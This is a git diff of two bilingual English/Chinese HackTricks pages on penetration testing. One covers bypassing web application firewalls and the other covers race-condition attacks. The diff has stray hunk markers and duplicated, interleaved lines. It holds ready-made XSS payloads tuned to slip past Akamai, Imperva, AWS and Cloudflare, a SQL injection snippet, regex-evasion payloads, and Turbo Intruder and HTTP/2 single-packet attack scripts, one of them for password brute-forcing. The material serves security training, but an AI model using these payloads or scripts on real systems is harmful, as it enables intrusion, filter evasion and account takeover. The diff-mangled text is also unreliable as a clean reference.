| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| Nginx 版本 | **Flask 绕过字符** |
| ----------- | -------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx Version | **Spring Boot Bypass Characters** |
| ------------- | --------------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| Nginx 版本 | **Spring Boot 绕过字符** |
| ----------- | ------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
Nginx FPM configuration:
Nginx FPM 配置:
```plaintext
location = /admin.php {
deny all;
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx 被配置为阻止对 `/admin.php` 的访问,但可以通过访问 `/admin.php/index.php` 来绕过此限制。
Nginx is configured to block access to `/admin.php` but it's possible to bypass this by accessing `/admin.php/index.php`.
### How to prevent
### 如何防止
```plaintext
location ~* ^/admin {
deny all;
deny all;
}
```
## 绕过 Mod Security 规则 <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 路径混淆
### Path Confusion
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3直到 3.0.12**错误地实现了 `REQUEST_FILENAME`** 变量,该变量本应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo`,因为 `%3f` 被转换为 `?`,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) is explained that ModSecurity v3 (until 3.0.12), **improperly implemented the `REQUEST_FILENAME`** variable which was supposed to contain the accessed path (until the start of the parameters). This is because it performed an URL decode to get the path.\
Therefore, a request like `http://example.com/foo%3f';alert(1);foo=` in mod security will suppose that the path is just `/foo` because `%3f` is transformed into `?` ending the URL path, but actually the path that a server will receive will be `/foo%3f';alert(1);foo=`.
变量 `REQUEST_BASENAME``PATH_INFO` 也受到此错误的影响。
The variables `REQUEST_BASENAME` and `PATH_INFO` were also affected by this bug.
在 Mod Security 的版本 2 中发生了类似的情况,允许绕过一种保护,该保护阻止用户访问与备份文件相关的特定扩展名的文件(例如 `.bak`),只需通过将点 URL 编码为 `%2e` 发送请求,例如:`https://example.com/backup%2ebak`
Something similar ocurred in version 2 of Mod Security that allowed to bypass a protection that prevented user accessing files with specific extensions related to backup files (such as `.bak`) simply by sending the dot URL encoded in `%2e`, for example: `https://example.com/backup%2ebak`.
## 绕过 AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### 格式错误的头部
### Malformed Header
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) mentions that it was possible to bypass AWS WAF rules applied over HTTP headers by sending a "malformed" header that wasn't properly parsed by AWS but it was by the backend server.
For example, sending the following request with a SQL injection in the header X-Query:
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -106,36 +99,34 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
可以绕过 AWS WAF因为它无法理解下一行是头部值的一部分而 NODEJS 服务器可以(这个问题已被修复)。
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
## 通用 WAF 绕过
## Generic WAF bypasses
### 请求大小限制
### Request Size Limits
通常WAF 对请求的长度有一定的限制,如果 POST/PUT/PATCH 请求超过该限制WAF 将不会检查该请求。
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
- 对于 AWS WAF您可以 [**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和 AWS AppSync 保护的 web 请求体的最大大小</td><td>8 KB</td></tr><tr><td>可以检查的 CloudFront、API Gateway、Amazon Cognito、App Runner 和 Verified Access 保护的 web 请求体的最大大小**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
- 来自 [**Azure 文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
较旧的 Web 应用防火墙使用核心规则集 3.1(或更低版本)允许大于 **128 KB** 的消息,通过关闭请求体检查,但这些消息不会被检查漏洞。对于较新版本(核心规则集 3.2 或更高版本),可以通过禁用最大请求体限制来实现。当请求超过大小限制时:
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
如果是 **预防模式**:记录并阻止请求。\
如果是 **检测模式**:检查到限制,忽略其余部分,并在 `Content-Length` 超过限制时记录。
If p**revention mode**: Logs and blocks the request.\
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
- 来自 [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
默认情况下WAF 仅检查请求的前 8KB。通过添加高级元数据可以将限制提高到 128KB。
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
- 来自 [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Up to 128KB.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
最多 128KB。
### 混淆 <a href="#obfuscation" id="obfuscation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -143,58 +134,54 @@ Up to 128KB.
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Unicode 兼容性 <a href="#unicode-compatability" id="unicode-compatability"></a>
### Unicode Compatability <a href="#unicode-compatability" id="unicode-compatability"></a>
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
#### Example <a href="#example" id="example"></a>
根据 Unicode 规范化的实现(更多信息 [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)),共享 Unicode 兼容性的字符可能能够绕过 WAF 并作为预期的有效负载执行。兼容字符可以在 [here](https://www.compart.com/en/unicode) 找到。
#### 示例 <a href="#example" id="example"></a>
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### 绕过上下文 WAF 的编码 <a href="#ip-rotation" id="ip-rotation"></a>
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的,为了绕过能够维护用户输入上下文的 WAF我们可以利用 WAF 技术来实际规范化用户输入。
As mentioned in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), In order to bypass WAFs able to maintain a context of the user input we could abuse the WAF techniques to actually normalize the users input.
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此,像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能认为是可以的,因为标签是闭合的**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**
For example, in the post it's mentioned that **Akamai URL decoded a user input 10 times**. Therefore something like `<input/%2525252525252525253e/onfocus` will be seen by Akamai as `<input/>/onfocus` which **might think that it's ok as the tag is closed**. However, as long as the application doesn't URL decode the input 10 times, the victim will see something like `<input/%25252525252525253e/onfocus` which is **still valid for a XSS attack**.
因此,这允许在 WAF 将解码和解释的编码组件中 **隐藏有效载荷**,而受害者则不会。
Therefore, this allows to **hide payloads in encoded components** that the WAF will decode and interpret while the victim won't.
此外,这不仅可以通过 URL 编码的有效载荷来实现,还可以通过其他编码方式,如 unicode、hex、octal 等...
Moreover, this can be done not only with URL encoded payloads but also with other encodings such as unicode, hex, octal...
In the post the following final bypasses are suggested:
在文章中建议了以下最终绕过方法:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
It's also mentioned that depending on **how some WAFs understand the context** of the user input, it might be possible to abuse it. The proposed example in the blog is that Akamai allow(ed) to put anything between `/*` and `*/` (potentially because this is commonly used as comments. Therefore, a SQLinjection such as `/*'or sleep(5)-- -*/` won't be caught and will be valid as `/*` is the starting string of the injection and `*/` is commented.
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能性。博客中提出的例子是 Akamai 允许在 `/*``*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且是有效的,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
These kind of context problems can also be used to **abuse other vulnerabilities than the one expected** to be exploited by the WAF (e.g. this could also be used to exploit a XSS).
这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**(例如,这也可以用来利用 XSS
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
### H2C 走私 <a href="#ip-rotation" id="ip-rotation"></a>
{{#ref}}
h2c-smuggling.md
{{#endref}}
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
### IP 轮换 <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
### 正则表达式绕过
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -215,12 +202,11 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## 工具
## Tools
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
## References
## 参考
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
@ -232,4 +218,3 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -3,109 +3,104 @@
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=race-condition) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
今天获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
> For obtaining a deep understanding of this technique check the original report in [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
> 要深入了解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Enhancing Race Condition Attacks
## 增强竞争条件攻击
The main hurdle in taking advantage of race conditions is making sure that multiple requests are handled at the same time, with **very little difference in their processing times—ideally, less than 1ms**.
利用竞争条件的主要障碍是确保多个请求同时处理,**处理时间差异非常小——理想情况下,少于 1 毫秒**。
Here you can find some techniques for Synchronizing Requests:
在这里,您可以找到一些同步请求的技术:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
#### HTTP/2 单包攻击与 HTTP/1.1 最后字节同步
- **HTTP/2**: Supports sending two requests over a single TCP connection, reducing network jitter impact. However, due to server-side variations, two requests may not suffice for a consistent race condition exploit.
- **HTTP/1.1 'Last-Byte Sync'**: Enables the pre-sending of most parts of 20-30 requests, withholding a small fragment, which is then sent together, achieving simultaneous arrival at the server.
- **HTTP/2**:支持通过单个 TCP 连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。
- **HTTP/1.1 '最后字节同步'**:允许预发送 20-30 个请求的大部分部分,保留一个小片段,然后一起发送,实现同时到达服务器。
**Preparation for Last-Byte Sync** involves:
**最后字节同步的准备**包括:
1. Sending headers and body data minus the final byte without ending the stream.
2. Pausing for 100ms post-initial send.
3. Disabling TCP_NODELAY to utilize Nagle's algorithm for batching final frames.
4. Pinging to warm up the connection.
1. 发送头部和主体数据,去掉最后一个字节而不结束流。
2. 在初始发送后暂停 100 毫秒。
3. 禁用 TCP_NODELAY以利用 Nagle 算法批处理最后的帧。
4. 进行 ping 操作以预热连接。
The subsequent sending of withheld frames should result in their arrival in a single packet, verifiable via Wireshark. This method does not apply to static files, which are not typically involved in RC attacks.
随后发送保留的帧应以单个数据包到达,可以通过 Wireshark 验证。此方法不适用于静态文件,这些文件通常不涉及 RC 攻击。
### Adapting to Server Architecture
### 适应服务器架构
Understanding the target's architecture is crucial. Front-end servers might route requests differently, affecting timing. Preemptive server-side connection warming, through inconsequential requests, might normalize request timing.
了解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关请求进行预先的服务器端连接预热,可能会使请求时序正常化。
#### Handling Session-Based Locking
#### 处理基于会话的锁定
Frameworks like PHP's session handler serialize requests by session, potentially obscuring vulnerabilities. Utilizing different session tokens for each request can circumvent this issue.
像 PHP 的会话处理程序这样的框架按会话序列化请求,可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。
#### Overcoming Rate or Resource Limits
#### 克服速率或资源限制
If connection warming is ineffective, triggering web servers' rate or resource limit delays intentionally through a flood of dummy requests might facilitate the single-packet attack by inducing a server-side delay conducive to race conditions.
如果连接预热无效,通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟,可能会通过引发有利于竞争条件的服务器端延迟来促进单包攻击。
## Attack Examples
## 攻击示例
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
- **Tubo Intruder - HTTP2 单包攻击 (1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的 **`%s`** 的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard:
如果您要 **发送不同的值**,您可以使用这个从剪贴板中使用字典的代码进行修改:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
> If the web doesn't support HTTP2 (only HTTP1.1) use `Engine.THREADED` or `Engine.BURP` instead of `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: In case you need to send a request to 1 endpoint and then multiple to other endpoints to trigger the RCE, you can change the `race-single-packet-attack.py` script with something like:
> 如果网站不支持 HTTP2仅支持 HTTP1.1),请使用 `Engine.THREADED``Engine.BURP`,而不是 `Engine.BURP2`
- **Tubo Intruder - HTTP2 单包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他多个端点发送请求以触发 RCE您可以将 `race-single-packet-attack.py` 脚本更改为类似:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
- It's also available in **Repeater** via the new '**Send group in parallel**' option in Burp Suite.
- For **limit-overrun** you could just add the **same request 50 times** in the group.
- For **connection warming**, you could **add** at the **beginning** of the **group** some **requests** to some non static part of the web server.
- For **delaying** the process **between** processing **one request and another** in a 2 substates steps, you could **add extra requests between** both requests.
- For a **multi-endpoint** RC you could start sending the **request** that **goes to the hidden state** and then **50 requests** just after it that **exploits the hidden state**.
- 该功能也可以通过 Burp Suite 中的新“**并行发送组**”选项在 **Repeater** 中使用。
- 对于 **limit-overrun**,您可以在组中**添加相同的请求 50 次**。
- 对于 **connection warming**,您可以在 **组的开始**添加一些请求到 web 服务器的某个非静态部分。
- 对于在处理 **一个请求和另一个请求之间**的过程 **延迟**,您可以在两个请求之间**添加额外的请求**。
- 对于 **multi-endpoint** RC您可以开始发送 **请求**,该请求 **进入隐藏状态**,然后在其后 **发送 50 个请求**,这些请求 **利用隐藏状态**
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
When the word "objetivo" is found in the received emails we know we received the verification token of the changed email and we end the attack.
- **自动化 Python 脚本**:该脚本的目标是更改用户的电子邮件,同时不断验证,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到一个 RC可以修改电子邮件但验证被发送到旧电子邮件因为指示电子邮件的变量已经用第一个填充。\
当在收到的电子邮件中找到“objetivo”一词时我们知道收到了更改电子邮件的验证令牌并结束攻击。
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@ -142,257 +137,250 @@ response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
h2_conn.setup_connection()
try_num = 100
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
print('---')
sleep(3)
h2_conn.close_connection()
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
response = requests.get(url, verify=False)
```
### 改进单包攻击
### Improving Single Packet Attack
在原始研究中解释了此攻击的限制为1,500字节。然而在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中解释了如何通过使用IP层分片将单个数据包拆分为多个IP数据包并以不同顺序发送它们从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**这可以防止在所有片段到达服务器之前重新组装数据包。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。&#x20;
